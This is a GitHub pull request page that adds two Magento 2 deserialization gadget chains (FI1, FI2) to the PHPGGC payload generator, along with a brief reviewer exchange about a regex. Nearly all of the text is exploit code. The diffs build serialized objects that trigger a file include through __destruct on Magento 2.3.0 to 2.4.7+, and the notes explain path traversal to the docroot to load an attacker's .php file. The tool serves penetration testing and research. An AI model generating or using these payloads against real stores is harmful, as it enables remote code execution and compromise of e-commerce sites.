-
Notifications
You must be signed in to change notification settings - Fork 511
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Magento2 FI1 and FI2 #200
base: master
Are you sure you want to change the base?
Magento2 FI1 and FI2 #200
Changes from 1 commit
c19ab2b
d09f65e
ae85d9a
a4cb393
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,34 @@ | ||
<?php | ||
|
||
namespace GadgetChain\Magento2; | ||
|
||
class FI1 extends \PHPGGC\GadgetChain\FileInclude | ||
{ | ||
public static $version = '2.3.0 <= 2.4.7+'; | ||
public static $vector = '__destruct'; | ||
public static $author = 'mcdruid'; | ||
public static $information = 'Your included file must end in .php | ||
The include uses path traversal to try to get back to the docroot (typically | ||
the "pub" directory). So the target path can be relative to that, or can use | ||
more path traversal to resolve elsewhere. For example a target of "evil.php" | ||
might result in include being called on: | ||
/path/to/magento2/generated/metadata/rsl::/../../../pub/evil.php'; | ||
|
||
public function process_parameters(array $parameters) | ||
{ | ||
$parameters = parent::process_parameters($parameters); | ||
// Remove the .php suffix if it has been specified, as it will be added | ||
// by the application. | ||
$parameters['remote_path'] = preg_replace('#.php$#', '', $parameters['remote_path']); | ||
$parameters['remote_path'] = '/../../../pub/' . ltrim($parameters['remote_path'], '/'); | ||
return $parameters; | ||
} | ||
|
||
public function generate(array $parameters) | ||
{ | ||
return new \Magento\Framework\Cache\Backend\RemoteSynchronizedCache( | ||
new \Magento\Framework\App\ObjectManager\ConfigLoader\Compiled(), | ||
$parameters['remote_path'] | ||
); | ||
} | ||
} |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,18 @@ | ||
<?php | ||
|
||
namespace Magento\Framework\Cache\Backend { | ||
class RemoteSynchronizedCache { | ||
private $remote; | ||
private $lockList = []; | ||
|
||
function __construct($remote, $lockList) { | ||
$this->remote = $remote; | ||
$this->lockList[] = $lockList; | ||
} | ||
} | ||
} | ||
|
||
namespace Magento\Framework\App\ObjectManager\ConfigLoader { | ||
class Compiled { | ||
} | ||
} |
Original file line number | Diff line number | Diff line change | ||||
---|---|---|---|---|---|---|
@@ -0,0 +1,41 @@ | ||||||
<?php | ||||||
|
||||||
namespace GadgetChain\Magento2; | ||||||
|
||||||
class FI2 extends \PHPGGC\GadgetChain\FileInclude | ||||||
{ | ||||||
public static $version = '2.4.1 <= 2.4.7+'; | ||||||
public static $vector = '__destruct'; | ||||||
public static $author = 'mcdruid'; | ||||||
public static $information = 'Your included file must end in .php | ||||||
Magento2 will add a prefix of "rsl::" to the filename. So if you specify | ||||||
/path/to/evil.php the target file should be at /path/to/rsl::evil.php | ||||||
A path relative to the docroot (typically "pub") should also work. | ||||||
The path is checked with file_exists() so basic path traversal does not | ||||||
overcome the prefixing of the filename.'; | ||||||
|
||||||
public function process_parameters(array $parameters) | ||||||
{ | ||||||
$parameters = parent::process_parameters($parameters); | ||||||
// Remove the prefix and suffix if they have been specified, as they | ||||||
// will be added by the application. | ||||||
$parameters['remote_path'] = preg_replace('#(^rsl::|.php$)#', '', $parameters['remote_path']); | ||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
Are you sure this will remove both the prefix and the suffix if both are present? There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I can see why you'd ask as it seems like an OR in the pattern so perhaps only one replacement would take place.. however:
I did have to check to be certain though! Good suggestion to make the patterns case-insensitive.. but I'm not positive the include would work if the prefix was supplied in the payload in uppercase. Will add the |
||||||
return $parameters; | ||||||
} | ||||||
|
||||||
public function generate(array $parameters) | ||||||
{ | ||||||
$file = basename($parameters['remote_path']); | ||||||
$dir = dirname($parameters['remote_path']); | ||||||
|
||||||
return new \Magento\Framework\Cache\Backend\RemoteSynchronizedCache( | ||||||
new \Magento\Framework\Interception\PluginListGenerator( | ||||||
new \Magento\Framework\App\Filesystem\DirectoryList( | ||||||
$dir, | ||||||
'metadata' | ||||||
) | ||||||
), | ||||||
$file | ||||||
); | ||||||
} | ||||||
} |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,33 @@ | ||
<?php | ||
|
||
namespace Magento\Framework\Cache\Backend { | ||
class RemoteSynchronizedCache { | ||
private $remote; | ||
private $lockList = []; | ||
|
||
function __construct($remote, $lockList) { | ||
$this->remote = $remote; | ||
$this->lockList[] = $lockList; | ||
} | ||
} | ||
} | ||
|
||
namespace Magento\Framework\Interception { | ||
class PluginListGenerator { | ||
private $directoryList; | ||
|
||
function __construct($directoryList) { | ||
$this->directoryList = $directoryList; | ||
} | ||
} | ||
} | ||
|
||
namespace Magento\Framework\App\Filesystem { | ||
class DirectoryList { | ||
private $directories; | ||
|
||
function __construct($file, $id) { | ||
$this->directories[$id]['path'] = $file; | ||
} | ||
} | ||
} |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.